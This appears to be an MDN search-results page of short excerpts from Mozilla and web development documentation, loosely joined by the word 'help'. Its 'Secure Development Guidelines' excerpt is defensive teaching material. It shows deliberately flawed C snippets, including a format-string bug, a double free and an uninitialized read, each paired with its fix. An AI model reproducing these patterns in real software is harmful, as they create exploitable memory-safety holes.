...skin global my_theme jar:chrome/my_theme.jar!/global/ skin mozapps my_theme jar:chrome/my_theme.jar!/mozapps/ skin messenger my_theme jar:chrome/my_theme.jar!/messenger/ skin messenger-newsblog my_theme jar:chrome/my_theme.jar!/messenger-newsblog/ skin communicator my_theme jar:chrome/my_theme.jar!/communicator/ skin help my_theme jar:chrome/my_theme.jar!/help/ skin navigator my_theme jar:chrome/my_theme.jar!/navigator/ skin editor my_theme jar:chrome/my_theme.jar!/editor/ save the file and exit the text editor.
...more after i get done with some tests repackaging jar now all you need to do is repackage a jar file with the following directory structure, using your favorite archive manager to create a zip archive: /chrome/my_theme.jar!/communicator/* /chrome/my_theme.jar!/editor/* /chrome/my_theme.jar!/global/* /chrome/my_theme.jar!/help/* /chrome/my_theme.jar!/messenger/* /chrome/my_theme.jar!/messenger-newsblog/* /chrome/my_theme.jar!/mozapps/* /chrome/my_theme.jar!/navigator/* /chrome.manifest /install.rdf /icon.png /preview.png make sure not to just zip up the my_theme parent directory since that will cause the drag and drop install in the next section to fail without error messages.
Document Loading - From Load Start to Finding a Handler - Archive of obsolete content
nsiexternalhelperappservice if we can't do anything else with a load, we give it to the nsiexternalhelperappservice and let it look for a helper app, put up the "what do i do now?" dialog, and so forth.
... bird's eye view <map id="loaddiagrammap" name="loaddiagrammap"><area alt="(13) docontent()" coords="534,239,715,300" href="#nsiexternalhelperappservice::docontent"> <area alt="(10) getcategoryentry()" coords="575,418,821,418,821,455,629,455,629,484,575,484" href="#categorymanager" shape="poly"> <area alt="(12)" coords="539,133,583,163" href="#stream-converter"> <area alt="(11)" coords="485,133,537,163" href="#contenthandler"> <area alt="(9)" coords="445,132,484,165" href="#nsdocumentopeninfo::dispatchcontent"> <area alt="(8)" coords="405,133,439,162" href="#onstartrequest-innards"> <area alt="(7) onstartrequest()" coords="639,129,703,129,703,165,833,165,833,204,639,204" href="#onstartrequest" shape="poly"> <area alt="(6) asyncopen()" coords="637,121,709,121,709,96,783,96,783,58,637,58" href=...
..."#openuri-innards"> <area alt="(0) registercontentlistener()" coords="37,474,346,474,346,505,88,505,88,535,37,535" href="#registercontentlistener" shape="poly"> <area alt="(3) openuri() (nsuriloader)" coords="5,207,312,269" href="#openuri"> <area alt="(2)" coords="102,114,139,148" href="#internalload"> <area alt="(1) loaduri/onlinkclick" coords="77,5,449,59" href="#loaduri"> <area alt="nsiexternalhelperappservice" coords="527,305,839,339" href="#nsiexternalhelperappservice"> <area alt="category manager" coords="683,467,807,527" href="#nscategorymanager"> <area alt="nsdocumentopeninfo" coords="371,71,635,185" href="#nsdocumentopeninfo"> <area alt="necko" coords="721,113,821,157" href="#necko"> <area alt="nsuriloader" coords="23,335,215,455" href="#nsuriloader"> <area coords="227,515,485,575" hr...
...give the load to the helper app service; this will return an nsistreamlistener that we can use.
JavaScript Client API - Archive of obsolete content
this will help fundamental understanding significantly.
... it will be very helpful to look at an existing sync engine for guidance.
...we're also going to import ''util.js'' as it contains many useful helpers.
... in this case, it is highly recommended to use the utils.makeguid() helper to generate new guids: let newguid = utils.makeguid(); your store object must implement the following methods: itemexists(id) createrecord(id, collection) changeitemid(oldid, newid) getallids() wipe() create(record) update(record) remove(record) you may also find it useful to override other methods of the base implementation, for example applyincomingbatch if the underlying stora...
Metro browser chrome tests - Archive of obsolete content
helper functions the eventutils helper functions are available on the eventutils object defined in the global scope.
... additional metro specific test helpers can be found in /browser/metro/base/tests/mochitest/head.js.
... you may add additional common utils and helpers to head.js.
... be careful about changing existing helpers as changes may impact tests in other libraries.
Supporting private browsing mode - Archive of obsolete content
a private browser listener helper object this helper object registers listeners for private browsing mode changes.
... } } } else if (atopic == "quit-application") { this._os.removeobserver(this, "quit-application"); this._os.removeobserver(this, "private-browsing"); } }, get inprivatebrowsing() { return this._inprivatebrowsing; }, get watcher() { return this._watcher; }, set watcher(val) { this._watcher = val; } }; of special note is the fact that this helper object is designed to not break on versions of firefox without private browsing support (those prior to firefox 3.5).
...using the helper the helper described above is very easy to use.
... simply instantiate the helper, then you can use its inprivatebrowsing flag to detect whether or not private browsing is currently enabled, as shown here: var listener = new privatebrowsinglistener(); if (listener.inprivatebrowsing) { // we are in private browsing mode!
Menus - Archive of obsolete content
</menu> <menu id="help-menu" label="help"> ...
...the following shows a simple help menu.
... <menu label="help"> <menupopup> <menuitem label="contents"/> <menuitem label="search help"/> </menupopup> </menu> normally, a menupopup is hidden.
... when the 'help' label is pressed, the menupopup is displayed over top of the window, aligned along the bottom of the help menu label.
Commands - Archive of obsolete content
a simple way of using commands is as follows: example: simple command example 1 : source view <command id="cmd_openhelp" oncommand="alert('help!');"/> <button label="help" command="cmd_openhelp"/> in this example, instead of placing the oncommand attribute on the button, we instead place it on a command element.
...the result is that when the button is pressed, the command 'cmd_openhelp' is invoked.
... example: toggling command disabled example 2 : source view <command id="cmd_openhelp" oncommand="alert('help');"/> <button label="help" command="cmd_openhelp"/> <button label="more help" command="cmd_openhelp"/> <button label="disable" oncommand="document.getelementbyid('cmd_openhelp').setattribute('disabled','true');"/> <button label="enable" oncommand="document.getelementbyid('cmd_openhelp').removeattribute('disabled');"/> in this example, both buttons use th...
... it is normal to put a group of commands inside a commandset element, together near the top of the xul file, as in the following: <commandset> <command id="cmd_open" oncommand="alert('open!');"/> <command id="cmd_help" oncommand="alert('help!');"/> </commandset> a command is invoked when the user activates the button or other element attached to the command.
prefwindow - Archive of obsolete content
attributes buttonalign, buttondir, buttonorient, buttonpack, buttons, defaultbutton, lastselected, onbeforeaccept, ondialogaccept, ondialogcancel, ondialogdisclosure, ondialoghelp, onload, onunload, title, type properties buttons, currentpane, defaultbutton, lastselected, preferencepanes, type methods acceptdialog, addpane, canceldialog, centerwindowonscreen, getbutton, opensubdialog, openwindow, showpane examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <prefwindow xmlns="http://www.mozilla.org/keymaster/gatekeeper...
... help: a help button for displaying help about the dialog.
... ondialoghelp type: script code the code in this attribute is called when the "help" button is pressed.
... help: a help button for displaying help about the dialog.
2006-09-29 - Archive of obsolete content
discussions extension based testing - someone is in the process of writing a small extension that tests firefox's help in terms of table-of-contents and search looking for firefox triagers to evaluate a triage tool - a phd student is working on a way to assist triagers.
... help testing helper extension - someone made a new extension.
... he needs help testing it out and wants to know how to make an iframe loads not go into the history.
... he also created a bug report to get rid of the help hooks in page info that lead nowhere.
The Business Benefits of Web Standards - Archive of obsolete content
in this case, every bit helps.
...using css to render titles instead of graphics also helps in this regard.
...that has been the real impact of the zen garden, in helping to demonstrate the stunning results which are possible without altering the markup, and indeed keeping the amount of presentational markup to an acceptable minimum.
...using validation tools such as the w3c validator helps by spotting coding errors and making sure html code is well-formed, which eliminates ambiguity in parsing by browsers.
Building up a basic demo with Three.js - Game development
three.js, as with any other 3d library, provides built-in helper functions to help you implement common 3d functionality more quickly.
...there are two helper variables already included, which store the window's width and height.
...our render() function will do this job, with a little help from requestanimationframe(), which causes the scene to be re-rendered constantly on every frame: function render() { requestanimationframe(render); renderer.render(scene, camera); } render(); on every new frame the render function is invoked, and the renderer renders the scene and the camera.
...first, we implement a helper variable, called t, for counting elapsed time.
Desktop mouse and keyboard controls - Game development
the good thing about using phaser is that it offers helper variables and functions for easier and faster development, but it's totally up to you which approach you chose.
...there are no helpers so you have to remember what the given codes are (or look them up); 37 is the left arrow: function keydownhandler(event) { if(event.keycode == 39) { rightpressed = true; } else if(event.keycode == 37) { leftpressed = true; } if(event.keycode == 40) { downpressed = true; } else if(event.keycode == 38) { uppressed = true; } } the keyuph...
... we could write our own keycode object containing the key codes, for example: var keyboardhelper = { left: 37, up: 38, right: 39, down: 40 }; that way instead of using the codes to compare the input in the handler functions we could do something like this, which is arguably easier to remember: if(event.keycode == keyboardhelper.left) { leftpressed = true; } note: you can also find a list if the different keycodes and what keys they relate to in the keycode reference page.
...the built in this.game.input.keyboard object manages the input from the keyboard and has a few helpful methods like addkey() and isdown().
Efficient animation for web games - Game development
help the browser help you if you are using dom for your ui, which i would certainly recommend, you really ought to use css transitions and/or css animations, rather than javascript-powered animations.
...there aren’t solid guarantees of what order things will be called in with requestanimationframe (though, in our experience, it is in the order in which they were requested), so this also helps cut out any ambiguity.
... a take-away to help combat poor animation performance, chris lord wrote animator.js, a simple, easy-to-use animation library, heavily influenced by various parts of clutter, but with a focus on avoiding scope-creep.
...it includes a handful of built-in tweening functions, the facility to add your own, and helper functions for animating object properties.
Index - MDN Web Docs Glossary: Definitions of Web-related terms
specifications might also contain sections that are marked as non-normative or informative, which means those are provided there for the purpose of helping the reader understand the specifications better or to showcase an example or best practice, which need not be followed as a rule.
...rum helps identify how an application is being used, including the geographic distribution of users and the impact of that distribution on the end user experience.
... 448 tcp slow start glossary, infrastructure, networking, tcp, transmission control protocol, web performance, data tcp slow start helps buildup transmission speeds to the network's capabilities.
... 526 non-normative glossary, infrastructure, specification, standardization software specifications often contains information marked as non-normative or informative, which means that those are provided there for the purpose of helping the readers to understand the specification better or to show an example or a best practice, and not needed to be followed as a rule.
What is the difference between webpage, website, web server, and search engine? - Learn web development
search engine a web service that helps you find other web pages, such as google, bing, yahoo, or duckduckgo.
...a search engine is a special kind of website that helps users find web pages from other websites.
...let's make it clear: a browser is a piece of software that retrieves and displays web pages; a search engine is a website that helps people find web pages from other websites.
...the distinction will help you quite a bit, but even some professionals speak loosely, so don't feel anxious about it.
How do I start to design my website? - Learn web development
how will a website help me reach my goals?
... doing this simple exercise—writing goals and sorting them—will help you out when you have decisions to make.
...in short, since these goals all revolve around the same topic, having everything in one place will help us meet our goals and help our followers connect with us.
... how can a website help me reach my goals?
Client-side form validation - Learn web development
this is called client-side form validation, and helps ensure data submitted matches the requirements set forth in the various form controls.
... how can i help the user to correct invalid data?
... in order to reduce the user's frustration, it's very important to provide as much helpful information as possible in order to guide them in correcting their inputs.
...always remember to help your users correct the data they provide.
Debugging HTML - Learn web development
this article will introduce you to some tools that can help you find and fix errors in html.
... interpreting the error messages the error messages are usually helpful, but sometimes they are not so helpful; with a bit of practice you can work out how to interpret these to fix your code.
...you'll see that each message comes with a line and column number to help you to locate the error easily.
... "unclosed element ul": this is not very helpful, as the <ul> element is closed correctly.
Perceived performance - Learn web development
improving perceived performance understanding networking, how the browser works, user perception of time, etc., can help you better understand how to improve the user interaction.
... here are a few tips and tricks to help improve performance: minimize initial load to improve perceived performance, minimize the original page load.
...loading essential data in initial requests and progressively loading features and data only as needed helps mitigate low bandwidth and lower spec hardware.
... avoid font file delays font use can both help and harm user experience.
The business case for web performance - Learn web development
performance budgets setting a web performance budget can help you make sure the team stays on track in keeping the site and help prevent regressions.
... definining and promoting a budget helps performance proponent advocates for good user experience against competing interests, such as marketing, sales, or even other developers that may want to add videos, 3rd party scripts, or even frameworks.
... performance budgets help developer teams protect optimal performane for users while enabling the business to tap into new markets and deliver custom experiences.
... setting converstion rate, time on site, and/or net promotion scores as kpis give financial and other business goal value to the web performance efforts, and get help boost buy in, with metrics to prove the efforts worth.
Server-side web frameworks - Learn web development
the field definitions may also specify their maximum size, default values, selection list options, help text for documentation, label text for forms etc.
...in addition to "ease of use" of the language itself, high quality documentation/tutorials and an active community helping new users are your most valuable resources.
...all of them have everything you need to be productive — they are open source, are under active development, have enthusiastic communities creating documentation and helping users on discussion boards, and are used in large numbers of high-profile websites.
... load balancers help to ensure redundancy and reliability or allow geolocated handling of user requests to ensure responsiveness.
Website security - Learn web development
this introductory article won't make you a website security guru, but it will help you understand where threats come from, and what you can do to harden your web application against the most common attacks.
...finally, there are publically available vulnerability scanner tools that can help you find out if you've made any obvious mistakes.
... note: this is an introductory topic, designed to help you start thinking about website security, but it is not exhaustive.
... web frameworks can help mitigate many of the more common vulnerabilities.
Framework main features - Learn web development
while it is possible to build framework apps without using these domain-specific languages, embracing them will streamline your development process and make it easier to find help from the communities around those frameworks.
...with the addition of some helper modules, you can style your framework apps in sass or less, or transpile your css stylesheets with postcss.
...to avoid a broken experience in sufficiently complex apps with lots of views, each of the frameworks covered in this module provides a library (or more than one library) that helps developers implement client-side routing in their applications.
... here’s a quick test for our counterbutton written with the help of react testing library — it tests a number of things, such as the button's existance, and whether the button is displaying the correct text after being clicked 0, 1, and 2 times: import react from "react"; import { render, fireevent } from "@testing-library/react"; import "@testing-library/jest-dom/extend-expect"; import counterbutton from "./counterbutton"; it("renders a semantic with an ...
Getting started with React - Learn web development
familiarity with both html and javascript will help you to learn jsx, and better identify whether bugs in your application are related to javascript or to the more specific domain of react.
... of course, your browser can't read jsx without help.
...there's some other markup that helps create-react-app function, so take care not to edit it unless you know what you're doing.
... service workers are interesting pieces of code that help application performance and allow features of your web applications to work offline, but they’re not in scope for this article.
Beginning our React todo list - Learn web development
defining user stories before we begin our work will help us focus our work.
...once we have put our styles in place, though, any element with this class will be hidden from sighted users and still available to screen reader users — this is because these words are not needed by sighted users; they are there to provide more information about what the button does for screenreader users that do not have the extra visual context to help them.
... further down, you can find our <ul> element: <ul role="list" classname="todo-list stack-large stack-exception" aria-labelledby="list-heading" > the role attribute helps assistive technology explain what kind of element a tag represents.
...making this association gives the list a more informative context, which could help screen reader users better understand the purpose of it.
Starting our Svelte Todo list app - Learn web development
once we have put our styles in place, though, any element with this class will be hidden from sighted users and still available to screen reader users — this is because these words are not needed by sighted users; they are there to provide more information about what the button does for screenreader users that do not have the extra visual context to help them.
... further down, you can find the following <ul> element: <ul role="list" classname="todo-list stack-large" aria-labelledby="list-heading"> the role attribute helps assistive technology explain what kind of semantic value an element has — or what its purpose is.
...making this association gives the list a more informative context, which could help screen reader users better understand the purpose of it.
... accessibility (shortened to a11y) isn't always easy to get right, but svelte will help by warning you if you write inaccessible markup.
Understanding client-side JavaScript frameworks - Learn web development
in this set of articles, we are aiming to give you a comfortable starting point to help you begin learning frameworks.
...it is very important to be able to get help with learning a complex subject, especially when you are just starting out.
...keeping the list short is therefore helpful.
...if your favourite framework is not represented in this content and you'd like to help change that, feel free to discuss it with us!
Handling common HTML and CSS problems - Learn web development
see finding help below.
...we find that it is helpful to inspect the element you are trying to style using your browser's dev tools, then look at the dom tree breadcrumb trail that dom inspectors tend to provide to see if your selector makes sense compared to it.
... finding help there are many other issues you'll encounter with html and css, making knowledge of how to find answers online invaluable.
... stackoverflow.com (so) is a forum site where you can ask questions and have fellow developers share their solutions, look up previous posts, and help other developers.
Learn web development
besides, if you have a specific question about web development, our common questions section may have something to help you.
...we'd like to hear from you about anything you think is wrong or missing on the site, requests for new learning topics, requests for help with items you don't understand, or any other questions or concerns.
... if you're interested in helping develop/improve the content, take a look at how you can help and get in touch!
... we are more than happy to talk to you, whether you are a learner, teacher, experienced web developer, or someone else interested in helping to improve the learning experience.
Information for users
firefox 2 now has help topics (from the menubar: ?
... > help contents f1 > accessibility features) which describe any special features and keyboard shortcuts designed to help users with disabilities.
... please check the accessibility help topic for more information.
... planning ahead for accessibility this document is intended to help testers and designers understand and plan what still needs to be added to our ui for full usable accessibility.
Mozilla’s UAAG evaluation report
in the rare cases where it is, it is of no help (typically it's just the filename, maybe with a file size).
...help wanted.
...provide accessible user agent documentation and help.
...(p1) nr some end user docs are under help, help contents in mozilla here is the main page for mozilla end user documentation none of these resources have been evaluated for wcag compliance 12.2 document accessibility features.
Accessibility and Mozilla
accessibility api cross-referencethis cross-reference helps us see the difference between today's accessibility api's.
...since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night.information for governments and other organizations evaluating mozillainformation for usersfirefox 2 now has help topics (from the menubar: ?
... > help contents f1 > accessibility features) which describe any special features and keyboard shortcuts designed to help users with disabilities.
... please check the accessibility help topic for more information.links and resourceshere are some useful links for those interested in web accessibility as well as open source accessibility.mozilla accessibility architecturethis page is maintained by aaron leventhal and by the mozilla accessibility community.
What to do and what not to do in Bugzilla
before you have canconfirm, you can still do good triaging by leaving comments with useful information on the bug that will help to confirm it.
... the same is true for editbugs: leave comments with the information you'd like to be able to edit into the bug, and that will help you get the editbugs permissions quickly.
...the reporter should be directed to the product's support page for help diagnosing the issue.
...this isn't mandatory, but can help prevent accidental filing of duplicates of a bug that's already been fixed.
Bugzilla
bugzilla etiquette a guide to etiquette; this guide will help you understand how best to conduct yourself on b.m.o.
... and how using proper manners and civility will help ensure your problem gets solved sooner rather than later.
...this guide will help you do so.
... other materials an introduction to bugzilla bugzilla for humans bugzilla quicksearch help page.
Debugging
fortunately, over the years, mozilla developers have come up with not just technologies and features to help you debug code, but have devised tips and techniques that can help too.
... debugging a xulrunner application tips and suggestions that will help you debug your xulrunner based application.
... replay debugging firefox with vmware workstation how to setup record and replay debugging on firefox, to help debug intermittent mochitest failures.
... debugging tools tools assorted tools that will help you debug your code or web site.
Configuring Build Options
this will also help when troubleshooting because people will want to know which build options you have selected and will assume that you have put them in your mozconfig file.
...the full list of options can be obtained by running ./configure --help.
...this will help catch any errors introduced into the js code, with less of a performance impact compared to the --enable-debug option.
... tests ac_add_options --disable-tests by default, many auxiliary test applications are built, which can help debug and patch the mozilla source.
Eclipse CDT Manual Setup
important background to help you make sense of the instructions that follow (and so that you can modify them to meet your own needs if necessary), this section provides some background on what ides need in order to provide advanced code assistance, and what eclipse cdt needs in particular.
... before you proceed any further, check that your changes to eclipse's memory limits have taken effect and are present in eclipse/help > about eclipse > installation details > configuration.
...if you want a column marker to mark the 80th column to help with formatting code to mozilla's 80 character line limit, tick "show print margin" and set the value to 80.
...you should be able to use the list of unresolved includes to help figure out what the problem is (see also the parser errors section for more troubleshooting tips).
SVG Guidelines
however, when authoring svgs by hand here are some best practices to help keep them lightweight.
...(usually seen in path definitions) excessive whitespace in path or polygon points definition examples this path: <path d=" m5,5 l1,1z "> can be cut down to this: <path d="m5,5 l1,1z"> similarly, this polygon: <polygon points=" 0,0 4,4 4,0 "/> can be cut down to this: <polygon points="0,0 4,4 4,0"/> line breaks you should only use line breaks for logical separation or if they help make the file readable.
...you can avoid this by doing basic algebra, for example: <g transform="translate(-62, -310)"><shape transform="translate(60, 308)"/></g> can be cut down to: <shape transform="translate(-2,-2)"/> because: -62+60 = -310+308 = -2 performance tips these rules are optional, but they help speeding up the svg.
... tools tools can help to clean svg files.
Multiple Firefox profiles
having different profiles would help separate work and personal life, or allow each family member to have his or her own set of bookmarks, settings, and add-ons.
...please add any helpful tools you discover to the list!
...the following tutorial will help get you going overall: gnome 3 custom application launcher.
... setting up multiple profiles for different firefox channels this section will be especially helpful if you are a developer, wanting to work with multiple channels, and each having their separate launcher.
Performance
function helper(window, action) { // ...
... do some work on the window } function dosomething(message) { result = helper(content, message.data) sendasyncmessage("my-addon:response-from-child", {something: result}) } addmessagelistener("my-addon:request-from-parent", dosomething) why is this bad?
... function helper(window, action) { // ...
... do some work on the window } function dosomething(message) { frameglobal = message.target result = helper(frameglobal.content, message.data) frameglobal.sendasyncmessage("my-addon:response-from-child", {something: result}) } function addframe(frameglobal) { frameglobal.addmessagelistener("my-addon:request-from-parent", dosomething) } javascript modules are per-process singletons and thus all their objects are only initialized once, which makes them suitable for stateless callbacks.
Localization and Plurals
this page is to help explain how to localize these strings so that the correct plural form is shown to the user.
... usage here are a couple terms used in this page to help keep things clear: plural rule: for a given language, there is a grammatical rule on how to change words, depending on the number qualifying the word.
...for each entry, there is a list of families and languages in those families, to help you figure out if it's the rule you should pick for pluralrule.
... pluralrule=10 seconds=sekunda;sekundźe;sekundy;sekundow minutes=mjeńšina;mjeńšinje;mjeńšiny;mjeńšin hours=hodźina;hodźinje;hodźiny;hodźin days=dźeń;dnjej;dny;dnjow testing extension to help make sure you pick the right plural rule and provide enough plural forms for strings, you should use the pluralform checker extension.
Localizing with Koala
introduction this tutorial will guide you through making a couple of changes to firefox's user interface using koala, an add-on for komodo edit created to help localizing mozilla.
...this is helpful for keeping the localization files clean and tidy at all times.
...see "hg help add", "hg help remove" and "hg help addremove" for more details.
...a good way of doing that is to ask yourself a question: "if i was a new person to this project and new nothing about the work already done in this repository, would this message help me understand what changes were made in this revision?".
DMD
it helps us reduce the "heap-unclassified" value in firefox's about:memory page, and also detects if any heap blocks are reported twice.
...this tells you which heap blocks were not reported, which indicate where additional memory reporters would be most helpful.
...run mach help run for documentation on these.
...it often helps improve the quality of the output when using a small --max-frames value.
powermetrics
178.65 75.85 17.29 terminal 694 9.86 79.94 0.00 0.00 4.39 2.20 0.00 powermetrics 84694 1.21 31.53 0.00 0.00 0.20 0.20 0.00 com.google.chrome 489 233.83 48.10 25.95 0.00 google chrome helper 84688 181.57 92.81 0.00 0.00 23.95 12.77 0.00 google chrome 84681 57.26 76.07 4.39 0.00 23.75 12.97 0.00 google chrome helper 84685 0.13 48.08 0.00 0.00 0.40 0.20 0.00 kernel_coalition 1 128.64 ...
...6.48 26.65 com.apple.webkit.webcontent 84679 64.21 84.69 0.00 0.00 104.19 54.89 26.66 com.apple.webkit.networking 84678 26.89 58.89 0.40 0.00 1.60 0.00 0.00 safari 84676 1.56 55.74 0.00 0.00 2.59 1.40 0.00 com.apple.safari.searchhelper 84690 0.15 49.49 0.00 0.00 0.20 0.20 0.00 org.mozilla.firefox 482 76.56 124.34 63.47 0.00 firefox 84496 76.70 89.18 10.58 5.59 124.55 63.48 0.00 this sample was taken while the following programs were running: firefox b...
...= _pkg_ (cores + _gpu_ + other) + _ram_ w #01 17.14 w = 14.98 ( 5.50 + 1.19 + 8.29) + 2.16 w 1 sample taken over a period of 30.000 seconds name id cpu ms/s user% deadlines (<2 ms, 2-5 ms) wakeups (intr, pkg idle) gpu ms/s com.google.chrome 500 439.64 585.35 218.62 19.17 google chrome helper 67319 284.75 83.03 296.67 0.00 454.05 172.74 0.00 google chrome helper 67304 55.23 64.83 0.03 0.00 9.43 4.33 19.17 google chrome 67301 63.77 68.09 29.46 0.13 76.11 22.26 0.00 google chrome helper 67320 38.30 66.70 17.83 0...
... 46.05 1.69 com.apple.webkit.webcontent 67372 190.15 79.34 2.02 0.14 129.28 53.79 2.33 com.apple.webkit.networking 67292 65.23 52.74 0.07 0.00 4.33 1.40 0.00 safari 67290 29.09 77.65 0.23 0.00 7.13 3.37 0.00 com.apple.safari.searchhelper 67371 13.88 91.18 0.00 0.00 0.36 0.05 0.00 com.apple.webkit.webcontent 67297 0.81 56.84 0.10 0.00 2.20 1.30 0.00 com.apple.webkit.webcontent 67293 0.46 76.40 0.03 0.00 0.57 0.20 0.00 com.apple.webkit.webcontent 67295 0.24 67.72 0.00 0.00 ...
Index
if you want to work with nss, it's often helpful to use the command line utilities that are provided by the nss developers.
... would you like to get involved and help us to improve the core security of mozilla firefox and other applications that make use of nss?
...to help address some of these problems, you can associate digital signatures with the files in a jar archive.
... a complete list of ecc curves is given in the help (-h).
NSS API Guidelines
this will help you understand existing nss code.
... it should also help you understand how to write new code, and where to place it.
...these rules are here to help us all immediately achieve more consistent and usable code, but some existing code won't follow all these rules.
...combined with purify, this also helps us catch cases where things being allocated by one allocator are freed by another, which is a common windows pitfall.
SpiderMonkey 1.8
this is to help applications share and reuse code regardless of whether they use threads.
... two new functions, js_setgczeal and js_dumpheap, aim to help developers debug gc-related problems.
...js_setgczeal is especially helpful.
...js_dumpheap dumps parts of the gc heap and can help detect leaks.
SpiderMonkey 24
new c++ helpers while jsapi remains a c api, the engine is now implemented in c++.
... some c++ helpers have been introduced into the api, to help embedders writing c++ projects.
... ...list new c++ helpers here...
... js_getprototype, takes context as first argument js_encodestringtobuffer takes add context as first argument, js_newruntime adds a js_[use|no]_helper_threads flag delete property in jsclass definitions now use js_deletepropertystub garbage collection functions now take runtime argument most garbage collection functions now take a runtime argument instead of a context.
TPS Tests
using this technique in conjunction with aboutsync is helpful.
... (note that the python testrunner will generally still kill firefox after a tps test runs for 5 or so minutes, so it's often helpful to kill the python testrunner outright, and then use aboutsync in a different instance of the browser).
...the other engines are similarly unhelpful, and will likely fail if there's any problem, without really indicating what the problem is.
... feel free to ask for help with setting up and running tps in the #sync irc channel!
Secure Development Guidelines
} integer overflows/underflows: prevention difficult to fix: you need to check every arithmetic operation with user input arithmetic libraries like safeint can help signedness issues bits data type range 8 signed char -128 - +127 unsigned char 0 - +255 16 signed short -32768 - +32767 unsigned short 0 - +65535 32 signed int -2147483648 - +2147483647 unsigned int 0 - +4294967295 64 signed long long -9223372036854775808 - +92233720368...
... (argc > 1) printf(argv[1]); } format string bugs: prevention easy to fix: always use a format string specifier: int main(int argc, char *argv[]) { if (argc > 1) printf("%s", argv[1]); } double free example: void* ptr = malloc(1024); if (error) { free(ptr); } free(ptr); double free: prevention set a pointer to null when it’s freed valgrind or malloc debugging can help detect those bugs use after free accessing data after a free() or delete can lead to undefined behavior some debug tools might be able catch some cases un-initialized data example: int main() { char *uninitialized_ptr; printf("0x%08x\r\n", uninitialized_ptr); return 0; } $ ./test 0x8fe0103 un-initialized data: prevention initialize your variables!
... memory leaks example: void *p; size_t new_size; p = realloc(p, new_size); if (p == null) { /* handle error */ } memory leaks: prevention tools like valgrind can help detect memory leaks writing secure code: object management reference counting issues real-life example (bug 440230) void addref() { ++mrefcnt; ns_log_addref(this, mrefcnt, "nscssvalue::array", sizeof(*this)); } void release() { --mrefcnt; ns_log_release(this, mrefcnt, "nscssvalue::array"); if (mrefcnt == 0) delete this; } reference counting issues: prevention use the largest data type available on your platform for your reference counter use a hard limit constructor/destructor issues if a constructor fails the destructor never gets called this can lead to...
... } } memory leaks: prevention any acquired resource in a try block should be freed in a catch block (if the try block throws before the resource is freed) might be helpful to initialize variables null for pointers -1 for file descriptors ...
Avoiding leaks in JavaScript XPCOM components
this article needs to be updated to reflect the changes and the cases where they help.
...this document attempts to help them do so, first by explaining the underlying concepts, and second by describing a number of common javascript patterns that cause leaks.
...in c++, we use nscomptr to help manage ownership, and we use macros to implement addref and release.
...understanding how memory management works in xpconnect helps understand why this is the case.
XPCOM Interface Reference
edeviceinfonsicacheentrydescriptornsicacheentryinfonsicachelistenernsicachemetadatavisitornsicacheservicensicachesessionnsicachevisitornsicachingchannelnsicancelablensicategorymanagernsichannelnsichanneleventsinknsichannelpolicynsicharsetresolvernsichromeframemessagemanagernsichromeregistrynsiclassinfonsiclipboardnsiclipboardcommandsnsiclipboarddragdrophooklistnsiclipboarddragdrophooksnsiclipboardhelpernsiclipboardownernsicollectionnsicommandcontrollernsicommandlinensicommandlinehandlernsicommandlinerunnernsicomponentmanagernsicomponentregistrarnsicompositionstringsynthesizernsiconsolelistenernsiconsolemessagensiconsoleservicensicontainerboxobjectnsicontentframemessagemanagernsicontentprefnsicontentprefcallback2nsicontentprefobservernsicontentprefservicensicontentprefservice2nsicontentsecurity...
...ernsidragservicensidragsessionnsidroppedlinkhandlernsidroppedlinkitemnsidynamiccontainernsieditornsieditorboxobjectnsieditordocshellnsieditorimesupportnsieditorloggingnsieditormailsupportnsieditorobservernsieditorspellchecknsieffectivetldservicensienumeratornsienvironmentnsierrorservicensieventlistenerinfonsieventlistenerservicensieventsourcensieventtargetnsiexceptionnsiextensionmanagernsiexternalhelperappservicensiexternalprotocolservicensiexternalurlhandlerservicensiftpchannelnsiftpeventsinknsifactorynsifavicondatacallbacknsifaviconservicensifeednsifeedcontainernsifeedelementbasensifeedentrynsifeedgeneratornsifeedpersonnsifeedprocessornsifeedprogresslistenernsifeedresultnsifeedresultlistenernsifeedtextconstructnsifilensifileinputstreamnsifileoutputstreamnsifilepickernsifileprotocolhandlernsi...
...iniparserwriternsiioservicensiidleservicensiinprocesscontentframemessagemanagernsiinputstreamnsiinputstreamcallbacknsiinstalllocationnsiinterfacerequestornsijscidnsijsidnsijsiidnsijsonnsijetpacknsijetpackservicensijumplistbuildernsijumplistitemnsilivemarkservicensiloadgroupnsilocalfilensilocalfilemacnsilocalensilocaleservicensilogininfonsiloginmanagernsiloginmanagercryptonsiloginmanageriemigrationhelpernsiloginmanagerprompternsiloginmanagerstoragensiloginmetainfonsimimeinputstreamnsimacdocksupportnsimarkupdocumentviewernsimemorynsimemorymultireporternsimemorymultireportercallbacknsimemoryreporternsimemoryreportermanagernsimenuboxobjectnsimessagebroadcasternsimessagelistenernsimessagelistenermanagernsimessagesendernsimessagewakeupservicensimessengernsimicrosummarynsimicrosummarygeneratornsimicr...
...mensiwebbrowserchrome2nsiwebbrowserchrome3nsiwebbrowserchromefocusnsiwebbrowserfindnsiwebbrowserfindinframesnsiwebbrowserpersistnsiwebcontenthandlerregistrarnsiwebnavigationnsiwebnavigationinfonsiwebpagedescriptornsiwebprogressnsiwebprogresslistenernsiwebprogresslistener2nsiwebsocketchannelnsiwebsocketlistenernsiwebappssupportnsiwifiaccesspointnsiwifilistenernsiwifimonitornsiwinaccessnodensiwinapphelpernsiwintaskbarnsiwindowcreatornsiwindowmediatornsiwindowwatchernsiwindowsregkeynsiwindowsshellservicensiworkernsiworkerfactorynsiworkerglobalscopensiworkermessageeventnsiworkermessageportnsiworkerscopensiwritablepropertybagnsiwritablepropertybag2nsixformsmodelelementnsixformsnsinstanceelementnsixformsnsmodelelementnsixmlhttprequestnsixmlhttprequesteventtargetnsixmlhttprequestuploadnsixpcexception...
Reference Manual
this section will help you if you're already familiar with nscomptr but you need details.
... to help prevent this, we are trying to make the first form, above, illegal by making operator& private.
...nscomptr helpers nscomptr<t> = do_queryreferent( nsiweakreference* ), nscomptr<t> = do_queryreferent( nsiweakreference*, nsresult* ) do_queryreferent exists to facilitate weak references based on nsiweakreference.
...the patterns presented throughout this section will help you get the most out of nscomptr.
Network request list - Firefox Developer Tools
you can also change the width of the columns to help make the information you are looking for easier to view.
...the numeric code is displayed on a colored background, to help unusual ones stand out.
... note: (starting in firefox 80) you can also block and unblock urls from the web console, using the :block and :unblock helper commands.
... the third-party add-on websocket sniffer may be helpful as well.
The JavaScript input interpreter - Firefox Developer Tools
